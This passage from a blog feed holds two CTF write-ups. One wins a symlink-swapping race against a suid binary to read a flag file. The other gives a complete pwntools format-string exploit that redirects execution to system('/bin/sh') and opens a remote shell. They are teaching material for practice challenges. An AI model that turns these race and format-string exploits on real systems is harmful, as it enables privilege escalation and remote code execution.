  <span class="n">signal</span><span class="p">(</span><span class="n">SIGINT</span><span class="p">,</span> <span class="n">sigint_handler</span><span class="p">);</span>
  <span class="n">signal</span><span class="p">(</span><span class="n">SIGALRM</span><span class="p">,</span> <span class="n">alarm_handler</span><span class="p">);</span>
  <span class="n">random_string</span><span class="p">();</span>
  <span class="n">sem</span> <span class="o">=</span> <span class="n">semget</span><span class="p">(</span><span class="n">ftok</span><span class="p">(</span><span class="n">sem_name</span><span class="p">,</span> <span class="mi">1337</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">),</span> <span class="mi">1</span><span class="p">,</span> <span class="n">IPC_CREAT</span> <span class="o">|</span> <span class="n">IPC_EXCL</span> <span class="o">|</span> <span class="mo">0600</span><span class="p">);</span>

  <span class="k">if</span><span class="p">(</span><span class="n">sem</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="n">handle_error</span><span class="p">(</span><span class="s">"semget"</span><span class="p">);</span>

  <span class="n">SEM_SET</span><span class="p">(</span><span class="n">sem</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>

  <span class="kt">int</span> <span class="n">hare</span> <span class="o">=</span> <span class="n">open</span> <span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">O_RDONLY</span><span class="p">);</span>
  <span class="kt">int</span> <span class="n">tortoise</span> <span class="o">=</span> <span class="n">open</span> <span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">O_RDONLY</span><span class="p">);</span>
  <span class="k">if</span><span class="p">(</span><span class="n">hare</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span> <span class="o">||</span> <span class="n">tortoise</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="n">handle_error</span><span class="p">(</span><span class="s">"open"</span><span class="p">);</span>
  <span class="n">ppid</span> <span class="o">=</span> <span class="n">getpid</span><span class="p">();</span>
  <span class="kt">int</span> <span class="n">pid</span><span class="p">;</span>
  <span class="n">pid</span> <span class="o">=</span> <span class="n">fork</span><span class="p">();</span>

  <span class="kt">int</span> <span class="n">cnt</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">if</span><span class="p">(</span><span class="n">pid</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// The hare</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"The hare says : </span><span class="se">\"</span><span class="s">Do you ever get anywhere?</span><span class="se">\"</span><span class="s">"</span><span class="p">);</span>
    <span class="kt">char</span> <span class="n">c</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">y</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
    <span class="k">while</span><span class="p">(</span><span class="n">y</span> <span class="o">==</span> <span class="mi">1</span><span class="p">){</span>
      <span class="n">SEM_WAIT</span><span class="p">(</span><span class="n">sem</span><span class="p">);</span>
      <span class="n">y</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="n">hare</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">c</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">char</span><span class="p">));</span>
      <span class="k">if</span><span class="p">(</span><span class="n">y</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">){</span> <span class="n">alarm</span><span class="p">(</span><span class="mi">0</span><span class="p">.</span><span class="mi">1</span><span class="p">);</span><span class="n">handle_error</span><span class="p">(</span><span class="s">"read"</span><span class="p">);</span> <span class="p">}</span>
      <span class="n">usleep</span><span class="p">(</span><span class="mi">100</span> <span class="o">*</span> <span class="mi">750</span><span class="p">);</span>
      <span class="n">SEM_POST</span><span class="p">(</span><span class="n">sem</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"The hare says : </span><span class="se">\"</span><span class="s">Hurry up tortoise !</span><span class="se">\"</span><span class="s">"</span><span class="p">);</span>
    <span class="n">alarm</span><span class="p">(</span><span class="mi">5</span><span class="p">);</span>
    <span class="n">sleep</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>

	<span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="c1">// The tortoise</span>
    <span class="kt">char</span> <span class="n">c</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">y</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
    <span class="k">while</span><span class="p">(</span><span class="n">y</span> <span class="o">==</span> <span class="mi">1</span><span class="p">){</span>
      <span class="n">SEM_WAIT</span><span class="p">(</span><span class="n">sem</span><span class="p">);</span>
      <span class="n">y</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="n">tortoise</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">c</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">char</span><span class="p">));</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"The tortoise, progressing slowly... : </span><span class="se">\"</span><span class="s">%c</span><span class="se">\"\n</span><span class="s">"</span><span class="p">,</span> <span class="n">c</span><span class="p">);</span>
      <span class="k">if</span><span class="p">(</span><span class="n">y</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">){</span> <span class="n">handle_error</span><span class="p">(</span><span class="s">"read"</span><span class="p">);</span> <span class="p">}</span>
      <span class="n">SEM_POST</span><span class="p">(</span><span class="n">sem</span><span class="p">);</span>
      <span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Slow but steady wins the race!"</span><span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div><p>As you can see, a “hare” process is created (as a child) of the “tortoise” process. The “tortoise” process starts to read the file passed by <code class="language-plaintext highlighter-rouge">argv[1]</code> (the first argument). However, the hare process, after reading the same file a lot more quicker, sends a <code class="language-plaintext highlighter-rouge">SIGALARM</code> signal preventing the “tortoise” process from finishing.</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ~/the_hare_and_the_tortoise ~/flag.txt
The tortoise, progressing slowly... : "s"
The hare says : "Do you ever get anywhere?"
The tortoise, progressing slowly... : "h"
The tortoise, progressing slowly... : "k"
The tortoise, progressing slowly... : "C"
The tortoise, progressing slowly... : "T"
The tortoise, progressing slowly... : "F"
The hare says : "Hurry up tortoise !"
The tortoise, progressing slowly... : "{"
The tortoise, progressing slowly... : "r"
The tortoise, progressing slowly... : "4"
The tortoise, progressing slowly... : "c"
Killed
</code></pre></div></div><p>After trying to understand how system V semaphores worked and not understanding anything, I fell back to a simpler solution: The “hare” and “tortoise” process each have their own file descriptor. The idea is to have the “hare” and “tortoise” process open different files. The “hare” process would open a very large file which will take time to be read, allowing the “tortoise” process to have the time to read <code class="language-plaintext highlighter-rouge">flag.txt</code>.</p><p>The solution I took is based on <a href="https://www.youtube.com/watch?v=5g137gsB9Wk">a video</a> from <a href="https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w">liveoverflow</a>, which I had watched earlier this year.</p><p>I compiled the following code:</p><div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define _GNU_SOURCE
#define _POSIX_C_SOURCE 200809L
#define _ATFILE_SOURCE
</span>
<span class="cp">#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/fs.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/syscall.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">syscall</span><span class="p">(</span><span class="n">SYS_renameat2</span><span class="p">,</span> <span class="n">AT_FDCWD</span><span class="p">,</span> <span class="s">"flag"</span><span class="p">,</span> <span class="n">AT_FDCWD</span><span class="p">,</span> <span class="s">"sparse"</span><span class="p">,</span> <span class="n">RENAME_EXCHANGE</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div><p>and then created a large file “sparse”, and a symlink to the flag inside of my working directory in <code class="language-plaintext highlighter-rouge">/tmp</code>.</p><div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ln</span> <span class="nt">-s</span> ~/flag.txt flag
<span class="nb">truncate</span> <span class="nt">-s</span> 10G sparse
</code></pre></div></div><p>A <a href="https://en.wikipedia.org/wiki/Sparse_file">sparse file</a> is a file that doesn’t take space on disk (think of it like compression (I feel like some people will hate me for this definition)).</p><p>The <code class="language-plaintext highlighter-rouge">racing.c</code> program will swap the <code class="language-plaintext highlighter-rouge">flag</code> symlink and <code class="language-plaintext highlighter-rouge">sparse</code> file thousands of times a seconds and hopefully, when the file descriptor is opened for the “hare”, the sparse file will be the one having the name <code class="language-plaintext highlighter-rouge">flag</code> and the when the tortoise opens the file, the symlink to <code class="language-plaintext highlighter-rouge">~/flag.txt</code>.</p><p>In one terminal, I ran the racing program that switches the files:</p><div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc racing.c
./a.out
</code></pre></div></div><p>And in another, I ran the suid binary on <code class="language-plaintext highlighter-rouge">flag</code>.</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ~/the_hare_and_the_tortoise flag
The tortoise, progressing slowly... : ""
The hare says : "Do you ever get anywhere?"
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
$ ~/the_hare_and_the_tortoise flag
The tortoise, progressing slowly... : ""
The hare says : "Do you ever get anywhere?"
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
The tortoise, progressing slowly... : ""
$ ~/the_hare_and_the_tortoise flag
The tortoise, progressing slowly... : "s"
The hare says : "Do you ever get anywhere?"
The tortoise, progressing slowly... : "h"
The tortoise, progressing slowly... : "k"
The tortoise, progressing slowly... : "C"
The tortoise, progressing slowly... : "T"
The tortoise, progressing slowly... : "F"
The tortoise, progressing slowly... : "{"
The tortoise, progressing slowly... : "r"
The tortoise, progressing slowly... : "4"
The tortoise, progressing slowly... : "c"
The tortoise, progressing slowly... : "3"
The tortoise, progressing slowly... : "5"
The tortoise, progressing slowly... : "_"
The tortoise, progressing slowly... : "4"
The tortoise, progressing slowly... : "r"
The tortoise, progressing slowly... : "3"
The tortoise, progressing slowly... : "_"
The tortoise, progressing slowly... : "3"
The tortoise, progressing slowly... : "a"
The tortoise, progressing slowly... : "s"
The tortoise, progressing slowly... : "i"
The tortoise, progressing slowly... : "3"
The tortoise, progressing slowly... : "r"
The tortoise, progressing slowly... : "_"
The tortoise, progressing slowly... : "w"
The tortoise, progressing slowly... : "h"
The tortoise, progressing slowly... : "3"
The tortoise, progressing slowly... : "n"
The tortoise, progressing slowly... : "_"
The tortoise, progressing slowly... : "y"
The tortoise, progressing slowly... : "0"
The tortoise, progressing slowly... : "u"
The tortoise, progressing slowly... : "_"
The tortoise, progressing slowly... : "4"
The tortoise, progressing slowly... : "r"
The tortoise, progressing slowly... : "3"
The tortoise, progressing slowly... : "_"
The tortoise, progressing slowly... : "a"
The tortoise, progressing slowly... : "l"
The tortoise, progressing slowly... : "0"
The tortoise, progressing slowly... : "n"
The tortoise, progressing slowly... : "e"
The tortoise, progressing slowly... : "_"
The tortoise, progressing slowly... : "6"
The tortoise, progressing slowly... : "a"
The tortoise, progressing slowly... : "2"
The tortoise, progressing slowly... : "6"
The tortoise, progressing slowly... : "a"
The tortoise, progressing slowly... : "2"
The tortoise, progressing slowly... : "6"
The tortoise, progressing slowly... : "c"
The tortoise, progressing slowly... : "5"
The tortoise, progressing slowly... : "7"
The tortoise, progressing slowly... : "f"
The tortoise, progressing slowly... : "0"
The tortoise, progressing slowly... : "0"
The tortoise, progressing slowly... : "1"
The tortoise, progressing slowly... : "2"
The tortoise, progressing slowly... : "e"
The tortoise, progressing slowly... : "d"
The tortoise, progressing slowly... : "6"
The tortoise, progressing slowly... : "6"
The tortoise, progressing slowly... : "a"
The tortoise, progressing slowly... : "b"
The tortoise, progressing slowly... : "8"
The tortoise, progressing slowly... : "c"
The tortoise, progressing slowly... : "2"
The tortoise, progressing slowly... : "0"
The tortoise, progressing slowly... : "e"
The tortoise, progressing slowly... : "5"
The tortoise, progressing slowly... : "3"
The tortoise, progressing slowly... : "8"
The tortoise, progressing slowly... : "a"
The tortoise, progressing slowly... : "0"
The tortoise, progressing slowly... : "4"
The tortoise, progressing slowly... : "}"
The tortoise, progressing slowly... : "}"
Slow but steady wins the race!
</code></pre></div></div><p>After multiple tries, the tortoise opened the symlink to <code class="language-plaintext highlighter-rouge">flag.txt</code> instead of the sparse file and I was able to transform the lines into a flag:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shkCTF{r4c35_4r3_3asi3r_wh3n_y0u_4r3_al0ne_6a26a26c57f0012ed66ab8c20e538a04}
</code></pre></div></div><p>Thank you to <a href="https://github.com/seanjpagano">seanjpagano</a>, for your <a href="https://github.com/LibWTF/ctf_writeups/blob/master/SharkyCTF-2020/The_hare_and_the_tortoise.md">writeup</a> which I used in order to get the files.</p>]]></content><author><name></name></author><category term="[&quot;ctf&quot;, &quot;writeup&quot;]"/><summary type="html"><![CDATA[This weekend, with my team, I participated to Sharky CTF. We ended up 12th. Here is my write-up for the hare and the tortoise:]]></summary></entry><entry><title type="html">Dorsia3 without gadgets (WPICTF 2020)</title><link href="/ctf/writeup/2020/04/20/wpictf2020-dorsia3-without-gadgets.html" rel="alternate" type="text/html" title="Dorsia3 without gadgets (WPICTF 2020)"/><published>2020-04-20T00:00:00+00:00</published><updated>2020-04-20T00:00:00+00:00</updated><id>/ctf/writeup/2020/04/20/wpictf2020-dorsia3-without-gadgets</id><content type="html" xml:base="/ctf/writeup/2020/04/20/wpictf2020-dorsia3-without-gadgets.html"><![CDATA[<h3 id="why-this-writeup">Why this writeup?</h3><p>After the end of WPICTF, I looked at writeups so see how people solved different challenges, and realised that for dorsia1 and dorsia3, people had used a completely different approach, using magic gadgets, than the one I took, so I thought I would share what I did.</p><h3 id="dorsia3-250pts-55-solves">dorsia3 250pts (55 solves)</h3><h4 id="challenge-description">Challenge Description:</h4><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://us-east-1.linodeobjects.com/wpictf-challenge-files/dorsia.webm The third card.

nc dorsia3.wpictf.xyz 31337 or 31338 or 31339

made by: awg
</code></pre></div></div><h4 id="attachments">Attachments</h4><ul><li><a href="https://ctf.wpictf.xyz/files/4d325258ec2ab3df5383833fb30fe8aa/nanoprint?token=eyJ1c2VyX2lkIjo2NzQsInRlYW1faWQiOjM4OCwiZmlsZV9pZCI6MTR9.Xp3VIg.mDHcGNvi4W0KGbA3cKtCHwYKc0E"><code class="language-plaintext highlighter-rouge">nanoprint</code></a></li><li><a href="https://ctf.wpictf.xyz/files/fe7a59ebaa5fc5e00deae6553bce0677/libc.so.6?token=eyJ1c2VyX2lkIjo2NzQsInRlYW1faWQiOjM4OCwiZmlsZV9pZCI6MTV9.Xp3VIg.Z7c2-xFMKP-lfla8wamuBuImt0Y"><code class="language-plaintext highlighter-rouge">libc.so.6</code></a></li></ul><p>The third card on the video shows the following code:</p><div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span>
<span class="kt">void</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
	<span class="kt">char</span> <span class="n">a</span><span class="p">[</span><span class="mi">69</span><span class="p">];</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"%p%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">system</span> <span class="o">-</span> <span class="mi">288</span><span class="p">);</span>
	<span class="n">fgets</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div><p>Because, the program is printing untrusted user input with <code class="language-plaintext highlighter-rouge">printf</code>, a format string vulnerability can be exploited. We are also given the address of the buffer and the <code class="language-plaintext highlighter-rouge">system</code> function.</p><p>With some local testing, with GDB, I realised that the return address was 113 bytes after the address of the buffer <code class="language-plaintext highlighter-rouge">a</code>. <code class="language-plaintext highlighter-rouge">%n</code> will set the number of bytes written to the address pointed to by the pointed given as argument. So what we do, is we set the address of system, where the return pointer is and then set a pointer to <code class="language-plaintext highlighter-rouge">/bin/sh</code>, where system expects to find its first argument, in my case that was 121 bytes after the location of <code class="language-plaintext highlighter-rouge">a</code>.</p><h4 id="the-final-exploit">The final exploit:</h4><div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python
</span>
<span class="kn">from</span> <span class="n">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="k">if</span> <span class="bp">False</span><span class="p">:</span> <span class="c1"># if True, run the exploit locally, otherwise, run it remotely
</span>    <span class="n">r</span> <span class="o">=</span> <span class="nf">process</span><span class="p">(</span><span class="sh">"</span><span class="s">./nanoprint</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">libc</span> <span class="o">=</span> <span class="nc">ELF</span><span class="p">(</span><span class="sh">"</span><span class="s">/usr/lib32/libc.so.6</span><span class="sh">"</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
    <span class="n">r</span> <span class="o">=</span> <span class="nf">remote</span><span class="p">(</span><span class="sh">'</span><span class="s">dorsia3.wpictf.xyz</span><span class="sh">'</span><span class="p">,</span> <span class="mi">31337</span><span class="p">)</span>
    <span class="n">libc</span> <span class="o">=</span> <span class="nc">ELF</span><span class="p">(</span><span class="sh">"</span><span class="s">./libc.so.6</span><span class="sh">"</span><span class="p">)</span>

<span class="n">line</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="nf">recvline</span><span class="p">().</span><span class="nf">decode</span><span class="p">()</span>
<span class="c1"># Read the address of `a` and `system`
</span><span class="n">a</span> <span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="n">line</span><span class="p">[:</span><span class="mi">10</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">system</span> <span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="n">line</span><span class="p">[</span><span class="mi">10</span><span class="p">:],</span> <span class="mi">16</span><span class="p">)</span> <span class="o">+</span> <span class="mi">288</span>

<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">system</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="sh">'</span><span class="s">system</span><span class="sh">'</span><span class="p">]</span>

<span class="n">bin_sh</span> <span class="o">=</span> <span class="nf">next</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="nf">search</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">/bin/sh</span><span class="sh">'</span><span class="p">))</span>

<span class="n">lsb_sys</span> <span class="o">=</span> <span class="n">system</span> <span class="o">&amp;</span> <span class="mh">0xffff</span>
<span class="n">msb_sys</span> <span class="o">=</span> <span class="n">system</span> <span class="o">&gt;&gt;</span> <span class="mi">16</span>
<span class="n">lsb_sh</span> <span class="o">=</span> <span class="n">bin_sh</span> <span class="o">&amp;</span> <span class="mh">0xffff</span>
<span class="n">msb_sh</span> <span class="o">=</span> <span class="n">bin_sh</span> <span class="o">&gt;&gt;</span> <span class="mi">16</span>
<span class="n">values</span> <span class="o">=</span> <span class="p">[</span>
        <span class="p">(</span><span class="n">lsb_sys</span><span class="p">,</span> <span class="mi">7</span><span class="p">),</span>
        <span class="p">(</span><span class="n">msb_sys</span><span class="p">,</span> <span class="mi">8</span><span class="p">),</span>
        <span class="p">(</span><span class="n">lsb_sh</span><span class="p">,</span> <span class="mi">9</span><span class="p">),</span>
        <span class="p">(</span><span class="n">msb_sh</span><span class="p">,</span> <span class="mi">10</span><span class="p">)</span>
        <span class="p">]</span>

<span class="n">values</span> <span class="o">=</span> <span class="nf">sorted</span><span class="p">(</span><span class="n">values</span><span class="p">)</span>

<span class="c1"># A 1 byte padding is needed so that printf uses the correct arguments
</span><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="s">A</span><span class="sh">"</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="nf">p32</span><span class="p">(</span><span class="n">a</span> <span class="o">+</span> <span class="mi">113</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="nf">p32</span><span class="p">(</span><span class="n">a</span> <span class="o">+</span> <span class="mi">115</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="nf">p32</span><span class="p">(</span><span class="n">a</span> <span class="o">+</span> <span class="mi">121</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="nf">p32</span><span class="p">(</span><span class="n">a</span> <span class="o">+</span> <span class="mi">123</span><span class="p">)</span>

<span class="n">written</span> <span class="o">=</span> <span class="mi">17</span> <span class="c1"># 4 * 4 + 1; 4 bytes for each address and 1 byte for the "A"
</span><span class="k">for</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">values</span><span class="p">:</span>
    <span class="n">payload</span> <span class="o">+=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">%</span><span class="si">{</span><span class="n">value</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">-</span> <span class="n">written</span><span class="si">}</span><span class="s">x</span><span class="sh">"</span><span class="p">.</span><span class="nf">encode</span><span class="p">()</span>
    <span class="n">written</span> <span class="o">=</span> <span class="n">value</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
    <span class="n">payload</span> <span class="o">+=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">%</span><span class="si">{</span><span class="n">value</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="si">}</span><span class="s">$n</span><span class="sh">"</span><span class="p">.</span><span class="nf">encode</span><span class="p">()</span>
<span class="n">r</span><span class="p">.</span><span class="nf">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="nf">recvline</span><span class="p">()</span> <span class="c1"># The output of `printf`
</span><span class="n">r</span><span class="p">.</span><span class="nf">interactive</span><span class="p">()</span>
</code></pre></div></div><p>I trick I used, which I doubt the usefulness of is sorting the addresses I need to write to by the value they should have. This in theory means that less data has to be sent back when <code class="language-plaintext highlighter-rouge">printf</code> is executed on the server side. However it is not necessary.</p><p>Initially, I tried to use a <code class="language-plaintext highlighter-rouge">/bin/sh</code> that was inside of <code class="language-plaintext highlighter-rouge">a</code> however, that failed so I fell back to using one inside of libc.</p><p>After running the exploit, we get a shell on the target, running <code class="language-plaintext highlighter-rouge">ls</code> reveals that the flag is in the current directory and we can now just <code class="language-plaintext highlighter-rouge">cat</code> it:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./exploit.py
[+] Opening connection to dorsia3.wpictf.xyz on port 31337: Done
[*] 'wpictf_2020/dorsia3/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$ ls
flag.txt
nanoprint
run_problem.sh
stdbuf
$ cat flag.txt
WPI{Th3re_is_an_idea_of_4_Pa7rick_BatemaN}
</code></pre></div></div><p>This however, isn’t the easiest way to solve the challenge as it is takes more time. If you haven’t already, I’d recommend reading <a href="https://ctftime.org/task/11316">other write-ups</a> as well to explore the different methods that can be used.</p>]]></content><author><name></name></author><category term="ctf"/><category term="writeup"/><summary type="html"><![CDATA[Why this writeup?]]></summary></entry></feed>